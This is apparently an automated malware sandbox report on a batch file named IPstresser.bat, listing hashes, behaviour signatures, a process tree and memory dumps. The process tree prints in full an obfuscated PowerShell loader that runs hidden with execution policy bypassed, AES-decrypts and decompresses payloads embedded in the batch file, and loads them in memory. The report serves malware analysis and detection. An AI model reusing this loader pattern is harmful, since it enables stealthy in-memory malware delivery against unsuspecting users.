Overview

overview

10

Static

static

1

IPstresser.bat

windows7-x64

1

IPstresser.bat

windows10-2004-x64

10

Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    28-04-2024 02:53

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General

  • Target

    IPstresser.bat

  • Size

    104KB

  • MD5

    9961f5a480e3b1f40284111352e26ef9

  • SHA1

    d764ca52b356a0dddfa35fe99555be1b5cf2999c

  • SHA256

    239bafce9c2a8cffe424e4f48eee9bac08e09ab7423da9ae1e23e8ab27a5f4f4

  • SHA512

    7220340e6eeebaa2504d9c5d8f7c171ce10d794fb0c7712c54d6dac95a33b7699e482f891f52c12fdeb0caa055da6fc6e75fd76107b82ce77d8cbfd131762d1a

  • SSDEEP

    1536:7nOs1HXZcHbLD8V9u86pOzbpdYU3rKeNHcedVdzng6nFFKdEmgRUGONJtrA:rOsR+bkV9UpOzNd33uehRd7g6FFaqONc

Score
1/10

Malware Config

Signatures

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\IPstresser.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2412
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hCf6wEcK+VHA277kHDCxrhG4+VY1PV/KhbMkrUPhFBY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dc0yJ4420CXjo8i4RUcDRA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ZjaPX=New-Object System.IO.MemoryStream(,$param_var); $Abpwf=New-Object System.IO.MemoryStream; $yXrTn=New-Object System.IO.Compression.GZipStream($ZjaPX, [IO.Compression.CompressionMode]::Decompress); $yXrTn.CopyTo($Abpwf); $yXrTn.Dispose(); $ZjaPX.Dispose(); $Abpwf.Dispose(); $Abpwf.ToArray();}function execute_function($param_var,$param2_var){ $rXNyO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $zgjXN=$rXNyO.EntryPoint; $zgjXN.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\IPstresser.bat';$SPurN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\IPstresser.bat').Split([Environment]::NewLine);foreach ($UwOBG in $SPurN) { if ($UwOBG.StartsWith(':: ')) { $fRHEc=$UwOBG.Substring(3); break; }}$payloads_var=[string[]]$fRHEc.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1512

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • memory/1512-4-0x000000001B750000-0x000000001BA32000-memory.dmp
    Filesize

    2.9MB

    Download
  • memory/1512-5-0x000007FEF5A30000-0x000007FEF63CD000-memory.dmp
    Filesize

    9.6MB

    Download
  • memory/1512-10-0x000007FEF5A30000-0x000007FEF63CD000-memory.dmp
    Filesize

    9.6MB

    Download
  • memory/1512-9-0x0000000002920000-0x00000000029A0000-memory.dmp
    Filesize

    512KB

    Download
  • memory/1512-8-0x0000000002920000-0x00000000029A0000-memory.dmp
    Filesize

    512KB

    Download
  • memory/1512-7-0x0000000002920000-0x00000000029A0000-memory.dmp
    Filesize

    512KB

    Download
  • memory/1512-6-0x0000000000300000-0x0000000000308000-memory.dmp
    Filesize

    32KB

    Download
  • memory/1512-11-0x0000000002920000-0x00000000029A0000-memory.dmp
    Filesize

    512KB

    Download
  • memory/1512-12-0x000007FEF5A30000-0x000007FEF63CD000-memory.dmp
    Filesize

    9.6MB

    Download